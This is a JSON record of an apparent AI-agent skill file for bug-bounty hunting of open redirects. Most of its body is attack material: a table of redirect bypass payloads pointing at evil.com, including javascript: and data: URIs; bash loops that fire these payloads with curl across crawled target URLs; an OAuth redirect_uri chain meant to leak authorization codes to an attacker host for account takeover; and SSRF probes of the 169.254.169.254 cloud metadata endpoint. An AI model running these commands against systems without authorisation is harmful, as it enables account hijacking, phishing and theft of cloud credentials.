{"id":"hunt-open-redirect","name":"hunt-open-redirect","summary":"Hunt Open Redirect — 低影響のもの、OAuthトークン盗難→ATOに連鎖したフィッシングチェーンを含むあらゆる種類。","body":"# HUNT-OPEN-REDIRECT — Open Redirect\n\n## Crown Jewel Targets\n\nOpen redirect alone is Low. Chained to OAuth = Critical (ATO).\n\n**Highest-value chains:**\n- **Open redirect → OAuth auth code theft** — redirect_uri contains open redirect on trusted domain → auth code sent to attacker → ATO\n- **Open redirect → phishing** — users trust the URL because it starts with target.com\n- **Open redirect → SSRF escalation** — if redirect followed server-side → SSRF\n- **Open redirect → session fixation** — force user to login endpoint with pre-set session\n\n---\n\n## Attack Surface Signals\n\n```\n?redirect=\n?next=\n?url=\n?return=\n?returnTo=\n?continue=\n?dest=\n?destination=\n?go=\n?forward=\n?location=\n?target=\n?redir=\n?redirect_uri=\n?callback=\n?checkout_url=\n?success_url=\n?cancel_url=\n/logout?returnTo=\n/login?next=\n/sso?callback=\n```\n\n---\n\n## Bypass Table\n\n| Technique | Payload |\n|-----------|---------|\n| Basic | `https://evil.com` |\n| Protocol relative | `//evil.com` |\n| Backslash bypass | `/\\\\evil.com` |\n| At-sign confusion | `https://target.com@evil.com` |\n| Double slash | `//evil.com/%2F..` |\n| URL encoding | `%2Fevil.com` |\n| Null byte | `evil.com%00target.com` |\n| Whitespace | `evil.com%09` or `%20` |\n| JavaScript URI | `javascript:window.location='https://evil.com'` |\n| Data URI | `data:text/html,<script>window.location='https://evil.com'</script>` |\n| Subdomain | `https://target.com.evil.com` |\n| Fragment | `https://evil.com#.target.com` |\n\n---\n\n## Step-by-Step Hunting Methodology\n\n### Phase 1 — Discover Redirect Parameters\n```bash\n# Extract all redirect candidates from crawl\ncat recon/$TARGET/urls.txt | gf redirect > recon/$TARGET/redirect-candidates.txt\nwc -l recon/$TARGET/redirect-candidates.txt\n\n# Less common param names\ngrep -E \"(\\?|&)(return|next|dest|go|forward|location|to|jump|target|out|link|logout)\" \\\n  recon/$TARGET/urls.txt >> recon/$TARGET/redirect-candidates.txt\n```\n\n### Phase 2 — Basic Test\n```bash\nCOLLAB=\"https://evil.com\"\ncat recon/$TARGET/redirect-candidates.txt | qsreplace \"$COLLAB\" | while read url; do\n  LOC=$(curl -s -I --max-redirs 0 \"$url\" | grep -i \"^location:\")\n  STATUS=$(curl -s -o /dev/null -w \"%{http_code}\" --max-redirs 0 \"$url\")\n  [ -n \"$LOC\" ] && echo \"$STATUS | $LOC | $url\"\ndone\n```\n\n### Phase 3 — Bypass Techniques\n```bash\nBASE_URL=\"https://$TARGET/redirect?url=\"\nPAYLOADS=(\n  \"https://evil.com\"\n  \"//evil.com\"\n  \"/\\\\evil.com\"\n  \"https://$TARGET@evil.com\"\n  \"https://evil.com%23.$TARGET\"\n  \"https://evil.com%09\"\n)\nfor P in \"${PAYLOADS[@]}\"; do\n  LOC=$(curl -s -I --max-redirs 0 \"${BASE_URL}${P}\" | grep -i \"^location:\")\n  echo \"$P → $LOC\"\ndone\n```\n\n### Phase 4 — OAuth Chain Test\n```bash\n# If target has OAuth, check if redirect_uri accepts open redirect\ngrep -i \"oauth\\|authorize\\|redirect_uri\" recon/$TARGET/urls.txt | head -20\n\n# Construct OAuth URL with open redirect as redirect_uri\n# Normal: redirect_uri=https://target.com/callback\n# Attack: redirect_uri=https://target.com/redirect?url=https://evil.com\nOAUTH_URL=\"https://$TARGET/oauth/authorize\"\ncurl -sv \"$OAUTH_URL?response_type=code&client_id=CLIENT_ID&redirect_uri=https://$TARGET/redirect%3Furl%3Dhttps%3A%2F%2Fevil.com\" 2>&1 | grep -i \"location:\"\n```\n\n### Phase 5 — Server-Side Redirect (SSRF escalation)\n```bash\n# If the app fetches the redirect target server-side (302 fetch follow)\ncurl -s \"https://$TARGET/proxy?url=https://evil.com/redirect-to-169.254.169.254/latest/meta-data/\"\n\n# Or: if app makes HTTP request to the redirect destination\ncurl -s \"https://$TARGET/fetch?url=http://169.254.169.254/latest/meta-data/\" \\\n  -H \"Cookie: $SESSION\"\n```\n\n---\n\n## Automation\n```bash\n# openredirex\npip3 install openredirex\nopenredirex -l recon/$TARGET/redirect-candidates.txt -p evil.com\n\n# nuclei\nnuclei -u https://$TARGET -t redirect/ -severity medium,high\n\n# gf + qsreplace\ncat recon/$TARGET/urls.txt | gf redirect | qsreplace \"https://evil.com\" | \\\n  xargs -I{} curl -s -o /dev/null -w \"%{http_code} %{redirect_url}\\n\" --max-redirs 0 {}\n```\n\n---\n\n## Chain Table\n\n| Open redirect finding | Chain to | Impact |\n|----------------------|----------|--------|\n| Any open redirect | OAuth redirect_uri bypass | Auth code theft → ATO |\n| Any open redirect | Phishing URL with target domain | Social engineering |\n| Server-side redirect | SSRF via followed redirect | Internal service access |\n| Logout redirect | Session fixation | Force login with known session |\n\n---\n\n## Validation\n\n✅ Location header in response points to evil.com (your controlled domain)\n✅ Browser follows redirect to attacker-controlled page\n\n**Severity:**\n- Redirect alone: Low (most programs)\n- Chains to OAuth code theft → ATO: High/Critical\n- Chains to phishing with brand name: Low-Medium\n- Server-side → SSRF: High","author":"@elementalsouls","ownerProfile":null,"authorContacts":null,"sourceUrl":"https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-open-redirect","license":"MIT","category":null,"lang":"en","tokens":1313,"stars":0,"calls30d":1,"claimed":false,"visibility":"public","origin":"crawler","version":"0.1.0","createdAt":"2026-08-22","updatedAt":"2026-08-22","files":[],"requires":{"mcp":[],"tools":[]},"safety":{"flags":[],"scannedAt":"2026-08-22","hasScripts":false,"networkEndpoints":["evil.com","target.com","target.com.evil.com"]}}